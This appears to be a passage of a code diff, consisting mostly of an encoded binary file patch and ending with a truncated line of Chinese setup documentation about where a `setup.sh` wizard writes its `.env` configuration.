zHYIwJN`drI#ItY6gmjqfg^szq9fX;RWHk1EoHS2D4;ShoaN>R*UCV$Of4|`didPU7 z+w22|PARAxo@|MjxyLhajglUXKN~2=s!l z34kFma8A@q95tMrob>!rNNH!60%Ui&gRp7)%;wI4dz|dR)CJEUVDJJMv^I&&p^VHo zwXE3p&4FnI2bXVsed!C+luRx#YV&h3lE_szYG*?t7?Z}})iDf0`A z+`M@cS!$qakVqi8!sBnpmw#lL!>ehEVL0db>#suD=c@}oD1RUUIZ7VebiLRy&dpes z`3R6f!{?_|HK>#%1VP5YSVE%t@(^NmaZ%Z??x03n308W%C=$6qBP^Ww{J|+`^8sZA z*?%KOqhVuX$8)+lYN-{wA$}69p%Gr82Ae1$SS^>3avd6lQGh%=Hneo9n#cN*qEaCN z?v|U+Ohpw}NWQYQbw?83(yOFY?ZJ;MBm73L__GpUNifnYs^xyf5Bblvp`s8{vQko0HD0`Ustd@aD7qYD<5?At2W(;< zhbr5xL2U2Ep_^=ovf^T+f}KH6S~2mHh3X-Ag=ddl*c)OH~ZLeOD{QR|W4q2Ly(PeFP99PP(4IO9e_^PC9g>dlC z&1uO%`-7LNH8io*d~0KGZ?LA0<}I)C(H+sI5;!{jp>_)Ku$04sEx!N-4zMsVnO??+^1@8^J`_-TG+=5T(s+=uUiYLV`_U)7&xL5xvCs zNLNH`q_}!R$j3{9YXlPul=R&+NHp&uWD;ACMUpXZ%oB|($QgE*m?(X zs}l+3bpTumr(|B8f-@46_+w~tG!*Sb>ZODHwZttCe(k0cjEQry`xzM~NBqJxx5=;5 z(kc-g)zl8{Sb|TM79YSF>2u8o$%PN0-lR7^xD}DF$zHC<#_4Iu?U$~3 zlRVS^?P$!<+uZ9TH`S$N)vSyc)Cij%L;FVALBKfeIAHor_ORhsAB~1wh9n1}1e=F@7EBlV2&m$bQxCF;uKgTa#B(;)Fa5-Y4JFN+>UE zv}1P93^YFsv8+t3ONx(IQyj!?O#FDD3FQ6aH`xW7-Vm}9erSCs{)Yvm!xyH@e<&xn zuFow!KkkPhOTFB^m#2M~ezvce`uYL;h;i(ge%C<9V(Xf~TAWXmVQFtq572-d0SN2M zT!mdZnA^eb&X^vbD-V(+(5owZfJGl0PjFPqA0`2l&t;wfK3Jym`DY7ub^w5+Em=>Y zLFhn!K|bh=G!ILPg8!BufrC+E%^;Id(hN|#V`m>mkNO#C8=v8-^1B`yGu8c+!|vXE zxZ~K9SJj;rc!JmAw3B`;!Oj=2$uopF+EZZR5+1iGOXJfWu;ea>C#GXM;AfR}{9ff= zi&eILF)tjuV_|HDS1BlR?^ey@ zU6Hzcedd*J{<7`VZO47wZoppJ3TTLB9Cy746_#T7kE|qgi!DdJjv&%dQCW4dJ~J)N zbkx-c<)=P&?2$NWW!tBv&ih%A#^zqBvL^QB&pD&ptlu*-j`d=t55JF&c{pu36cLy7F!>_%N(&8K@PojNjT7h3pw|CBXFDJ>F$4-GU^;S-rLpz&us)f_CDq*7~e=I>0VSwQ`2mHpdqB2%Y1xzu>S3ES$m zZ?=CtpZj`uWO7pOVFClAIYZgcPN(eW`UXWdGtRc(6ta95_VQETU0PHnUi3bigEBJ8 zDZZd~Y?+Cdo8an*jvLE;mTYsTl)GP3GZuFAW;|YkLCn7-Az?8L=cuJsrfnZm*}p&q z;d`t#Ba58#aY1*LBv*+aA_q}~3B`mTD)fI;p(VUNsXQ#mXd|JLKEizD<-*u#Mu3S6 z0Ot6deHXz)K@T%A`C6MCmM35<)wZDy!QY{%vOiiicg;%9^j`XL7b-_5BC`JkE%2Ca z6;wB8x@^Dn&rf?h!YQQ$U8T+J+}-a5e-G_SImj!>@9ge2^p~lXA|of?5HX*Vh(cA= znY|Ym*&>|s8b@nt+V(pQ_4F>-MvDTSW+GG3TxM$bZ4Alj!5ZUCb_XxyyyC3e3^*m% zKFoIj$NRI5r4>wT?GCR0;9whi6tU(Nc)rgZuvx&OOGD@3cZ00>Y=AeUx3~W%L-mu1 zOfwJzRUB+2hkoF0kgqgQpLNlM?71)eTPo)wa(%ko?4`cGu@e{0TKqm3mc=E7o}G=c zM8YKMw0>xp4*mKyEp^;qP4nw#;}i70yGNb#q~uC=I3#e}geSpP=VNSxX?gG#hVDQd zUSGalob0D?5e$);PcaRWdi?l3B@e5U>VE5`t{O$(hR%Kdw0`suL|k0FMXMp-*@8&| zJ6p{u#$NeU3O)1D$Q3rXy1FwkLQ%5bc)Zdi6ooR7beSoY@Np5rsYD2h3MR@3MIK!D zH&L|b%lBiycI#$P{KBn9m0LG%eM_1OMM?sOstJI|Ll z+)0(S)jn=sMC?Ynss~&2F2Iq9)alC|po7rnH2c!!U79>GTW8q!_|}~}3kwTfNB);C z+Jy2a?OhjH4{s$oX>4w``(zva>QEp)evN(R=8|sUDeWRY)SaCd(FC0}Y%+AUCswg$ z4U49_k|eQna~4-^>(sMSD{pQwVbjE&#|kUKD(`tWL+Qoi$DY4-wh^b;5zML&2q^st z{2<14DEw%Afgp#FSuiLwQ^gpnkKV}`Fi7m3@InaMMWx!hiHMzEN5yLq02(saDev_G z5Syr|{=FoJF$WIUpKI)bU-$LLf;OMiMSaH)WxyS~5BvL798cc_o!ZA?;XVu^#l22L zeJh#V%h>s}l$36?f`2W7PnT8pWz7bCZa;~Dk4lxMa8G;t3!97%d7CEu<|Ih8fXjS_b$t^|;FgYIx~2Y<>+-EfAO zE=?2))!NYTykMNKxV61r;OEnSR3j z{NFl81NOFjG;|9pKAYoM5TmqYv|efATsl zXw{5qi!Y)k7N}8;Q7|U_?Jyv**WC|GY5tOtMhb9!di2Cz=StRt zuI?Ad799#IS;uXt*??&EVk;1|1iE?o{!VgZXl`s!z3=O#Xwv0(@7@73+gY<0r&(Cp z!ahdvfaNEo#Oii&WK1a&B+<_64!NujL{Fl10-DYb#Pwb1VCNF7`WK?dc@yX+e3y3G z-(7+}Oltd#L>!%6REpCe4FCu!KtlNh>i56a_fLQIE;+UVVLCZ?zDa3)fgbiKSVN!( ztJ|ExMg9kANh>i#GP(U_h_1H&EAfQ~p_)lA^P8z{3$FI*SV+VH#y0e6C(QKJLa) z5Vxw1A_rA{)Q2)QxvD@srPbNHYo~Z@+Ud^y?N)dNNX6BJ{`wKWRJg?1qg8+=qKwF6 z=sTB>&fon*HD!yWqweg-iuUN2qt0a{!kR^!Q&I1f$1(loXv8;Dc&(7p z%Xs(3Z`0G^_oNuQ#z#pE3?>1d1ZWj6Z+CWfZc8B9= zk#d@Y*C*R1BZJ5&C7=fNTWx#O&xM`zzftsVVovk=}DuvG?4)mUCFAg`-5P#F96rN=h|iOz?hisWZYp= z6c-nh5EB)Bor9ZvYho;%$NOLvH~Sodr{dhs?@r9Vz1_npI*7ZXN38p(tEWvweXJ?Y3GK85Z zUgFMdJ#cRaDw6$RmlL*FcwlCRa7CP~10&JIbWZE~`g)ht4^%Ie`(@;@#ETV(cL@RU z$1{tk^C+q2+ak^Vsn^ClTxoMN<>+ri(Z`JrZf=!sU8HwE@celVNa6uF;_T!UrK|)* zkV+Pg%7-ATlT-uSq^*zKS60K9fk?@>#47(w`-GE}DS!6azv zeHAxnc83mwiD^(`zdIqqT0VgIG(_C~ zwxbr_5uA!y8(I@Yt}G$w>BqU2r|k|Vye4LpgraKC946_8czmVB*w>mQpG>Adt)JN& zw#%v(|NPK-x+y83%x4y-(t1uA5I_o3Lst82b1Ew8DDj`4)E09a#44}^^9u@YPM0Uc z#BTZla&taT2LW7W>3|Ft++42QnU~@6R{()TOH1PByC5A?=vn1{F0HxGBVKWT|T823ZWc@-~*tSeDUWTW>Ho=X7L&sw;+R%oQ6^T znHP4GzVGJc(jd&@HgT`GyxTPLcsCqVgRDKgB<{V9fUnMXGY12ShbwR3eO{3Q$9gPh za`655_pbEfTx<;_cuFlR3HH|Pd!VldCZ&fo*I4|03E%2L4Ye!L=;sGg9jsO>sA*m? zi@EQdZnv_tanZc;dqB-}Kk{Z_t@cXNQeI7s;6`aM{2?E?@v zqccrBS4B#U($mtUExzSRU|a1L!)j?5UMMz&$;6Lrkkhpiu@W?3MBn%|8@GaZFL6v=^=;Q@2o8@cCjNO_m(3T0Dh*s0*0M8LzU z&wn8drEa=5pKJDaK46G(tG`Hges;cU>CKw|Fj_hEUi_P|ju{S-UuwXC)$0|wkE>FO z>9Wj{!e?tyQxDS(A`OQM`K+4ptCgD|)u)Y$r;JB0;ZeWwci(Ppa4E}|wt7o-$Vcz( zJ}=xlf(_4X3~a_QNd{ zNd4<&Q6OVpu;c}zqS%w{Dw$3x!6AJrjB|@5+<9x0hU~IXYECam#BfhYx-`?QRG^ks zd6v%0ZvES?4eULRC*6Q)9O9kZOdD+p+ToUEhvvQ`VdAyY+<=^1V+sY2O#L!5KFb0a z@9oy}hV+wE^SQb98Zwwdwe1k=Daa|kxnS8HoAp_@_y=v`izT?y258?`EAK0?EdhsK zwEjJ5w@qJr`%16#np^p6HR9Z`mj&u_F9%i_cokyk(QpO4jk0t(ar<@fYa-B><7Sb4 zC0j07W=~YmIfg&PRIi#@i5|B;+gwt^bz-S)VL^@i)wIsb$ti-0_Mb&4Gh>-S8F586 zsZ`5JkZKeI%E%<``7?F%Mni*WT-M`=d#Dal%8W?S;Z;P!e}Utts`ccX zCbGqpW7))TX@`SUlG8)C1Z4Ub=;}|S5;a&bn9AJ07t3*UN&H~SGeY0#u{1*^?DWEK zU8zwnkM$QjqurFR*~I!**CCft54fRvI*`KB1ffwky6zdg=>7tPbTP%l)x(1gvuS%H6#^#O_c%TlsP=ggbh0EO%C+si*EhDxg6s&fhD zgVwjAp|EfsSK|?&srgZ@!12x2b+YRm-*$h?h5t)5)R`=ot{!Z9BCuNL?G17=2M{LU zLy5%kBtQSwAt5Jc@>=~LQLE=_sa*MepRt2E+sA)Q3Cm4Yn z-n|j`_nH3RIVn(Uyia%Kk3Vo-ebaqiU3D|Qc3gjaUi+Yw4?2Y(&xd~6*IoyM394V= z(!4HOeZTbkOd=<$tEpS_0K6j*cjRE z7ytbdub02*m74~g9QO1LXccK+e|;+=At6DVL#KGWMC$JHyS6imwHn=G0CL*e*sXas z{qMElZ~W1OAW{kjnwvMZ^tFFwOovj!3I6rWvtt}y&z?PNp7MDEQ@$$x$A9n5-(!6q z)?s37Y?YG>3MT_{M@G-pEd$pHKZXBY4G}G8En|t=NrvNt=YKHyE06MR|9dk35Pg^N zxLf5R`@a{&f5U0OrLp0i{bu~=wnJq*Wq@+Usqg6}QqsP>Dq9rK|1<1itDOfZv@QDY zaMOQP0uQn{jJWy8^XfH&Mt2)~MfS75bMgOHpQBKlGVzZkTReaOLsc8`{L3rhuaZ~5 zLQth&iz}#{m&;up*)qg6O)nvYW(o4*^l!M#>>~m4{nt`dhh_OLirPg z(~V$(09U)e#2AJwJ;ltgF$fFz@rfqQB8R4vP_G$}Z~)`Yh5UU`CqF6F?xpS16V%xP z_r>jMS)r)^JB5G0V!g7-OI?bt;QzZ?e*Xc7t#{2(vv3PV9k}Tp9C+=yB}QGkI6=m) zv$0UEd|#8Cq3;n{XsI#J&8u<)el&)yd2wps`_|Rg)&0i!&z2011NSd`^Dup~^RU2r z?}vv)W0!giA!7OKI*&f;W+~afR|nij25gq27JOLEg3-z=b69M0mRTWEr10ad(AU?# z-zX|Ab(WKpdkQTxEOn55#AKcRk%wpSK@=GoI1B$=G1Ko`#J3CC(|!$X%=XM0OfNh! z#ww=|t{-grQ(wJ=l7=3rLrr51^DQal@5R3oORjrgT^*I)Y^Q50Z*R{>@)`3~PwauE zqM8~d3HSj&*-&_(BTBB))Yf)gHJggci?~{rSu#Mq>;(A+Jf`sm@3pd97G^#Dro3W=A zvzv{IC7X~xb{fKrQ?ujnan(^#-@172OXUxr&xCCOEfhA>wC9@J&hJqw|2Y^`?L;uK z*K28AXv9j@+uoI-O15sSyAX|@xt|9uY;9%1VA-P%>4PiI>Y5YJ@9Mq(Zdt2z&GldL z4v094r`dN6rM*phqIy@sYtP)7fhu6~^&iOhiEmGQJG#1bi^m(HesV!OSt)ix!b&FoFhe%u0eCjPM2OltbJ&fG1( z?~z_#oM@xz%92a={}?bjP!GI|XX0O{$69|Y5t(t}q^+)tg&RBVtppz{u-(`=@PC8( zESQ-!-C|N8^8Q^8(4}6Ul7dTmc(~*IgE*Zb|D6j|zc-Z+ex}9vC_8OSxAA_6&eE8# ze{;JAOV%rNbk;+h-}E>I?!be53@qS=CSYg%XKNIBG1N1_XE2vwI~ID;v!5h9;{PXG6#rie$B86KZ(l($oT z*wT$G&0$q?zRh6bDl*phs0%VNChgiRes<-bi&>cg1|)IykhB|rj+nPyNe<1Bp_Gu>}*p&{dZ)J z*B!byZL_nrcIC|Vs!h0fg=K%gMx>!_e=7ATHr;(|NH8>N6St#-)!}8t_gu(r@j;5=TU!29_Y{LGXJc&r7>Fy7g`2`16)A0F1|KQA+? zkKly_Oa$T88jT*N^xE*J8S^Cc0?BEfW<W&@RN zs3?(^nDT8@{O_y(8k!*HfsbZog-)8P&xJ-f=!r|hw z+o8XemBesS@1^^i1A za-{UJHM=WKgd7<6sUq*cjE9_!d^oQ?+G;xcFUt1s{=|ZqrjBLVz`Rs8L!$$q6(F^s>~{-(cIwWrEc})5UO&XZ zP4o?6U2CLs0A~Hvl*jS5Ot!{@8z1?7cRu@|{T6@3FOF`fSGl6w%VwK2uB?SnLD<>Z z^Ydx0?P8GSCPL;<(2m--J=XT#MffCCIrVh=pv2P7>4J%HT-s$`)pYNn#W?BB<>mFc zxeuwSHGUh2*(OhB(F*k3U8^`|lw4!3Q~(v%`9iM3GNjf6X*yvJLj59|?+pA?=)7b& zvYV*0sG z-%#8PIxvMJrDDDdbAK5Jk>-8$$aSkJX2NTEWo7>)*?D?#;ReaYGqyd0dKW7trBC@P zD}xpZuIUZX4zr#f_R7ji>-auv%Gg+bdY_Pc>|~8+(->f<8RmZ6mbkjV<5@s6S|)Wm ziQAkNvbGv0`M>hbAgZR9X*XGZLLJT@D|8`ILi|?NL)s`TcG`Zujfbr0m;YLqR*E)5 zBrGw7f8U?ff3o*M%ek+Nzx>lRsq>EGbC%l+j0Ot}_e1oSSAHj)g4sLH&k$BWritr;U3`rfzy>KGNQMuPX9i zy)5gm1q~W>YsR7yx2V-{US+36s*O$ zcAn$a^C70e+vn;)AnJ{sQN;)dRP)Gt3>Dt~iBNy}^7*r8*2aO{_zR|rs#eQeU&oUY zT|Pm!v(*tt{1Ou3bsKAIe9)O+EYKr4o6Lgm^#x`K>8Ecli+Yv3bS#rTU9uc!(MYcb&5a0I(7LHZ{+ldmL_l5z})t!QF z!kL|A%~Ut0eUl&N<4V-QoKr!>f=)_s-oZrYt(NfR79#2!xR_OgRxl}q0^~;U zsa5G`hk)gQ^xT!qv$nt>INI+N*Hf=vs=L3polN!%cf7&?bxidCzqyjXrc1Ztk;8+eJX=dR@v#Te1$AtE+0sk=RM z4@BgR?}-(z%kD6!ox_LUx8{r1S7|yrBkgO)>+U7JM+ex=AFSa&?zX+@h_@RwNWt&C z$`Z5sl$&c+dm_MJjnY3r6|lhZGal-lon7jUE3sht6=W3}XzEWLzTXwi(CD-MhWdUO z{CqGR*6bPG^s3TO3e@;NeFJ9SqeA{~UoUxhjAsHX*TC!NYz+m$N3-W0+(vm!r~B5? zG1_O-@r8@Plc8DVBgcxP+-s=~xN4JeFQMB1lCSS4*`lr-0_x>6w79q^xT<0d?h2?^ zRVAJ+Z?GAdMuyNY26<4IKWC%w3W)&x; zNo^1yB7}To0%Ec*xNiGb<3oFoVGpnUF%IH@9pS0%g-Sp>?jf~h!GeJOk z1w^}>1EHV4LhaCMz&1HE`z}$EI?4%iBTb*{*0qix;~~?YOyLS;XxhlQT06t#MUyB{ z{$>xKsnBOe4;T^V8QXckaB0Lb&r)=~4LlAyr7~^!^SncyGdEX_SrkZz=5r@7K|z68 zMmu?4ej8hvl3xB(W6iW==^2}MLSt0@4AO8DL{t?w|K4WqKFe}(E|;!nKWn_k%dK?9 zgf7PapC1jlLUfz;|9TuotMj1P!v6KStwvedCd;PDmx)9+p#YwTJ>Tz5p=U-SNm9z5 z7QY9Dy z?$@>_lv}96LEULbm$#JCFg?9`aN>&3i0$K9W!&s!2rVAcJax^g=-P2c^1xtsHtFEC zsRnh9E>UtUk}scl_G5B#EH^qTT+Y9MT~;4S|K}VYjH0=n%Kq+F#IugDS@$6jbSn<6 zdGeRP&u%w_P&4uw={jAvII2!ZJlWqHEf^|0BBa0oQ0ghJC1o2J6tvCXsyNXkrKUE> zUbKe857pwjzLNe2T)|b>>FLvUWMw_~1va7uL!nx$3mb=P(Uq~n?xc+et>waMo7C<; z2({`ISL`aLY6ola|8@4=@l=QJ`=_+1kdb*Lk`)q?Rra38UJ>C)_BbIsJ7kl+ogAC& zQCX3dm6`0lcjWh+qtxd+UflR_j>02Jn!qi@9T;cGs@2$rYE>`!EVhcNVweu z$yNAkCXVgd% zV^c+1mA3!4kGc$20}zKGrZ}H7Hy=Xz;}^7^(MH^(h}*oTI*F&Q8DF_)~w)zSXMXB-4FTF-q~5ldaU!wG6;ru>sETHtel+rEY%6f zS0d?ABXhAoBHqb}-)s@}AYRaIn{j?(W-PyUwvP8d13j+LDq5onavvst1~lW<*x7F15`eO%&hX@ zFG>X_pWF~o!aSG9jOZshnw{s^gH0LY_*W%XGoSLkz+-tQE*yGtJW{xQZSQ8pF))OQO2zA|MmWxJ9+|J2zX zVNm1pb?TvI8q6xe6(|p2j;V~Gp!VFd;A7Xu-Q^LyH^+>*z)fVVMxn$u05{Jt=+9(S zHI=hCWJ{VW!`3O*CVD<$vr&f5WMyFYMDWoaTv6*FkW**kOKw$L{NEfgO}5UE@QXty+6vQsrB`A{)M|zzPnq1ZQSc_7_sRQzwd>? zUEL0g;cg{)QDYPIatG;QSP-e;WY#kjvPuGE!)zfyoR<59-u z#-@!5lM%;W-SjY)*V+7AdPq}*je|8}_e-lR8w-nR=YQ0QZ0RiDtiEfZV`$`a73XZ< z(KHbe3B<zSi4++`tDu2!J(wH z{u<8=O>*w!w{&*)WvecaJo*dH6mWa#>aP+!S1~hy<5Y!&r)DJ;hj_`}BI2BNSTx+- zT2smC6KiZ7V96{WE4xAUr-@(Drd>>0JLSv^RQhwFPqe#ej`Hn3$pZ z2Tq0zu^(2`K2)1nE%W-bXGS9>TRYi*HEbzW(V$h(I^iGm1SDv_rlyk z?jy)hQd|mRc#OdPS}ei`A$c7zRD%@8qw!dT1kLb=@Vb$#r_DXL4L*|Bu+TLxd!~C! zRUb{Xp>x?oP~XxLXh_$iOVE{h?OVmU%kRc4o0T^o@}sxE`^!MvTs22!9UB|qX>ukc zIOm+OIOI1xe+!aZ4mgCWtf-`20T0#=0OHZwii(#W30lIA#*jTKtpOiDrk-=pYgia;?+oZ*XzNg-COy7N*(t-ya+7?@ zwL|p4EmNr4u0E081)iWfKeA}ydo<;5)lyqN>+AnBXVB2*a&z#Bowpzd(aKp`xjK`mL{Z_>&cqrz0_;Pp$*&zeet(!d(|nS_6r64QR4 z#uk=f$lm@AT-S2O9ft@$kPeyk!3=x1l?U?n)yk;z)bupiU|tZsESS|p#pe_OR$#a} zKny04CW(Vph>*u2hiZrkj;k`V3(G_BL2{R;pzM z)x6|kW9!t{&&_Bz7jHfh$OZ*>Piv~C{m=0d4S3v6eM!Q=qlP(>S;Qm&-6o2~V0B#3 z?PNWGbT#;CYTu-z^DY&$d%@3na%H>lu)oQ68Tf?{krEYB2_9ksY@C1Y*wP0=*1;@SyUng`iX)d+wRi*w={&_fvr__uyU8D5$)iGb=yL0nBrP?8>o}OV7sRt+;A{=4iPaW|A z1sWs#{0zcvZS7CCeZ=F>czAS^q%J6H0AE6D>m?lApcAKVq`|*r zEU?$ov8-Lp!SPHt!**cBI@&M*=dz|PyUUChVE2-&2zy$%HP_cX+-%wWC~iOh@mQ^g z#|I?i=k2_(%h@2_hwz58e9@!~-oD*1x;CEwi-?4H5CoWMKY#xG zmGBd(Czr{|LBjLkpt|WT7nb({mTb+U&AJxB`bDKZNLy|Nyj8dRmP{2BmrF3hw7Gl4;dRf>s5LuIvkd9CU71&lO-(5Xc@| zIt(eE_QX8!wi}a|wT2<(AZfW9gP5V_Qxg+z{Vqj31-4vy5@()+!&pgWsV0jm!`4`3 zdS1lhkLhV$m=^eWkQ0%3ZLC98Prm|tomEz*$iQm@cY7lAkPHOieC%saAgXMNPl|3E z=&CT|=Ht6qC`y2jA0HP^?6@Erx^82s(Y%&7>O3?wn4=`RLVSEavxvQ6*LfRq9Oca=C?&7` z3W4Lot$n#PHD*<5ts%zh%TQ`<3P2lOZ76}Om6yp^Q7&6+i<27`nka6Ob>~&>nTqCP zi>KD1x$LhN`?A~|HBEJv==k`4_7Zg%_A+N%z7ekZ80H2dahJID6=4R#KpRq3y04-* z>+5UpdD5$t{G8MPNn`C};s)d0d3%N8E4vQOb>)eby-<;er1-n@!OHX@)3JOMlNRMT zn;Yu_PVl-KFGCPi0wU&+!mS0%!^PoT?4wRwHi%uT-Hnd64mG6e*u&Z^1u7YN>4?u$ zcKuy6IPk#0%L-JF-o}Nu=L-idJ<>0z@{Ja30a5YVDB_m~P*Gl@WH+w%jpk0uxityhm94U3Ei&7E+{?ixrdLjC zAIzqZB^$j`Bk5o9VyrUpO>hFgKs7vT4yE2goJAX~49o5}Yz4Zt12tzSJG=Vp?rSim zBtaJ_a40A?n0Ug`A5!%#$sfD`T}!Yw|64*!%T=J?vNTfYrAyDfe7ptxmm>|s%uKC- zz}MnoG)s9sGf*)!PTt!C)p%1b}7&soj4z7J%ZB<(Y zlfyaEmAY@V5D*X$e1oUlWVVi-q{Du`|5IaQpA#YY1mD@=-nej!n;Y*S$IUUIfk8wJ z8RPB__%)v-CXVgQlw6@3blRCmY|N!>o4K~NO3r%WCyu`|^c+(K!A?EwTt(D3IZoDI&npJL=l=drjAZd&TR0sfGAHHvyz82$o zPNvwDsMf6cet?x{&_zFbl=1_y_Y!!^!yCIvG=(qbBw2$qs9z14j$T=iAvV%6nHwy| zJFgqppZmDZNp)$O)FDA=dWh)*l_rJb1-FU4n=?D6)5|R zG;9L!4^HD*W84_Sy{L^n|V~%KRl2m4sdc!Ajt!=lPd-X zQxe{NdDZbnvWn8yBX2%4D+`wCZS6J6Z&=galXICxbM=iP*w`B9PmdF`LlJ-05uS~M?RaF9;g`>0th30ansO5lo zwJLe|m*v?Tf^Gv`d#n@pI2eR(2N>%A`+y1JRu%>gsJO_T=VZ zGo*}9?8f7B_)-@E@o`uJ`zn#5Upb0uue1QiTw+3`)Xm)p=d7V2o;8kU2Bys5l-$sY zR3g#dik@C}12!?f2fXXF&o{2ntuVBSVn~7oMeZ#$4GzYpw@leEQHS|4(#Klh@-KW2g3_h}+Vu{i$RZlHN6~y-uSZ34 zVRZC#ig;UFJ3!R#+CD?~BWm}JsB3@-E1F@?Kak7Ys`q*B{b3~vF5V5Ujul?oO^OGZqJoOPTU$iDo=7BP`X*v_qoGMOIw}J2@F`}0N*b7Aue1vb ziWT*YaBD&X1m+UyBGTbW-|8_o~z)iHUI>w;3`@8aO92 zP^fqxJ0e_F8(R4@=79#-uGg+E!N0ug>*tYqr@i}_^ENXRE2N{N=^Zh+9&d zP}H4rTgi~0pPx}7yBq!#=0DQWJ$J~f1XEYGNeFU+ax`%e@hiRvkHI&2S4LD8bx578HLciQ$yV=YLxG=Lb%+C0QCQezB@+d`# zVrj5-yz(r==I>A2_6*e{534DIDqB1Hon&(&3k4&UNs$~*F$VN9PPzL^Um3Gh*wOvS zNyp8?`;H<1jpVJ_j`%zt>B(+5`LAA&1$9TpvaTG3I+rTM%*@m7fl$LHb?1$I`K*k4 zDA$OnsBc56bptI;{ZCUCchBa@A_ZG?cRD&cX1KM|{4YowX=pD|QVQ_b02T@{k`2>P z%RWBuOCXiOX3{Qmk%o;e>n-d?Kw!YjL#%)R9O-~S#%5uE)?bcBtvGb&<+EOQe#`dp z3J=$`PG?`V_ZD9-jD{w}!_&6)ymf^3d7e#y9atZ^oTBd=16I50ne)GfSdU3&W|bJ) z7IAUalNRK$U=k8-RMr7+Q<+Nxgwt?Spp3`kOG}ibq&jbsK1mD_2~drc1!|LjwQea; z(j)^qGl|)@hRxZmA9=lVxE6GeEsUD9Rre`LCWCb=!UKynZsj?cCRdjw1Rs z?bOOa4}5N-CdmzwRF~SSi?RqwQKFrWK&>XEiO>*Xmk-yS6V{TUiPRhbgkEe!MX3}{ z$#;V)@&%Uiu4l1NYJ49a=A#b`Tm+Hr0{jB|as31Y23Ti3zvSO1*xTE~@y@iDDl103 zk<1YKaFc9)0AWTpZN*UNpc`V8H6ke`Rp?tKA@tBYDRyk^A;7=b@yp&sMUmr^$~y8; zP-xfHQwItNutWx*4GL*Akb*a_flP}^PX!9Pq^+eIn(kI0_KCwI`b#;r;*Bqya59;`_7#a(k_?^f~{X}7lz zi;9|9`5{D4>;3X(%CXC3z1-%KypI6?23)7UZ}4qo;LRN|`&e%Y>FG@}m*c^Z37&G`!3S&d2S9vcZFj-}E4)vjx4z!xIse+en;bTH-rGRN1wj}XU3Jg6p; zY*z9$xowVoeqa@m?amjZ*5#fUu8pnFDYVURQU~Ve-Z_*q3IHzSEkON$fVvnM5b*x! zXttC)AvX5f*Fr+EOZ~eQ#51#ql_6!O&@TLa+4Ol;Nu}A2E_~amIqPZSY0ic(tu5oL zvrk6MWrp_J*ae(+qNIo!8KuBff}<3$dVbJ0lV9N__n#pF7}-_A@bIuZn{Ra$tbV7xqs9`1VJEI zU!k#pJ8tG0%Ib7d*y~W?kD0P@LfeYMCcNF>^gDeO9+mW=C|W zs1ph@46&oYN9iV^mLEET{s7RweO2p>4^HMhUnSMhth{LEWPwx-W?I^# zrTK7_e~N|i5&lj|Z-j@JFK<N~ky`n3nf!RWJ2P zrR;4Gce(B8^ME+hK~1fO(U0{99`yc3*9RB5^&;A5adC0lKy>v;gsoNX8~Ctf#LiYz zEmp?OM4?`n-e=gBs8Y7QPcG&TL#8J>i=HVErK#~JR6(U|w(Y?Kw1OF-w5@xpeAgO! z?ffG;$u%iJeiFl7i?57NufEC)QIyS7>)YL3uMB3)csXt3=vd6(PKjPixI^P^Kue#& zId5N=VPcM(=hEPeBF1Sv+-!irlOFK$`uHLqT2DN{z@zZz_$Q&$;64fFxF<_fQ@5hq zFz9f7yK&Q(*ej5(_xMu8@~G{#FU6O)F1P?iQ4C@MQKpq1GCVD1po%o znhFNXa=-7HpKobwEM8ngci#Q|#j&4g00`10e(CDv472Z7AXaJA0QNpPC|gd;eKGY9 z+&M02cY5A0`1h6WSluVSEMViQd4JO`m#_gTCbLr7li%=buc921G*g?DF zn$QJ^{+)(PSjk+9l>1Q{%odL-E5V}VF= zF$SW8{e2^2V>LCkd+2wTTmd|es!SQu83xP5{}h97@pp;-EwLYF1Pz@d@Nekve-G2v ze5}?1F4K90?zMV*>PTra2n#X2$*i{}OXc$WVN$pOV5g7>A^QY@m}4qw1ud_rV25Zi zY31&0A$yRF$Sa)e&m!NIm&cre3{k!?hW>u-|6l7V$=FTJ&zqW<08v#i#9n+G8gg=U zMsLMfNI_J-O1lc+*zH!q)SQzFhE&l;_Q5$pM7?a8#b}H*XA1-#J?`?iGaUc^`G54w ze;K05NGogW`OzwF^k@)dKGUt_EOh5OJ4A4kCR7r@Z=~q*X<;u5@B+Q1nxW>%(OQ?E z=+j{d2`*DD*U&S^UCmSSot42dMUZ%|3X`Tby?{Uhx?jPukXbVu4AeM;T+g6;wXwUK zotj$k&UFs-$r94L=zx5Svp*8}>ME>KWN#ay{~OLe-U0Fn%CQ+Di2?uK=H}+MlK`f8 zZGynP(SW`N9Lb|z|6|`{JVWRU+Jyx5lheYLt*zP3?$-R=a@^{cXrxhs!3eN|E>hh- zNmdcGRn+K;VG9dwn>HwX<*D zqf173w+pg%k{bb@I4*eVe0%UePMOoLfg{SRs)mP$)j0w%0~y?0!U5voo{?XJ_C<4# zy;Qz)y{;5~4c#c{b2h!t?B!@zP&sV(@4p9N$CVOwhWk5fYx-9|eHa_-?~lUthWmBw zF~m8+&GpfMY4&b*ndm!DFt;a9-wb1lCxs+y0`wgOB$}Fc7V6Ch#tUBYBL0 z$RRe;aI_i#Qb8VBdBD0uS^{$Du!QV=VZ>kaw7w4TBoWttUCjbhyj8a~E*LNSlCC02zNb1^Pj`c<7nagicHV<^k^gfQQG?*_nix zm>pt4PAA$>fZ00l$2CcBY>5x^dZ6icMa=3 z{*Qk6zZQvq-uYi!ND-Q%$Uxu^>f`Qk0kgs;^MVh{4<9~&!70dxUR0NZK`i+_NIlo* z&Q1^(U;;`tL({2Os=rb^UkE{j(GJ)A!)M|8q_KUz;m= z9T2o^Zf#*)8IW8YV20eAn)@1!CK{wpYNL8G$HCxeY-|J!mS{_xm&6uzryI`sSqfa# zwe)*9!i6G;Na*S4F?n@@#k2*sxadlukFJ$}Chz}N7&rnXLSe6t#Bve5fBzmaYEN=v zCvtCqK$8+a5OIRDvAKN#%k0XzvqGktrocRd3%WXDY*uU7ySqV2eCj#=F6xMWbSv5b zPUlL8#a2)V_o%Cw;UE_rR|SYeZ=&l5AH*yf=rW#~*<`Wt#YGBy{Ccn>#XH?5Euo%Y zfRrQu)b$$NUJL#E-`nlZ39?-Be!zu!+7OiV>{-RjV6I@=5!m51QA^C3-*4)2o$ssK zH4mr9ENKv0w3!)Vv#HRb#%G9>##k43dM7N%5C>BvutVU8`F8^S_tgXf0lO$G7GV*Q z-?o1l3pCvCS3da1B8y7o5_<^N|2`9RF*U7UI_aT{j*bpy(H^1`4z&UfT+pD|7(=IZ zGd4C>IwK5Sh-6*hZ(#!JhF@X85c2=RgFudtn_jaMgL4 `setup.sh` 向导会把配置写入仓库根目录的 `.env`。这是开发备用方式;生产部署建议改用「数据根目录下的 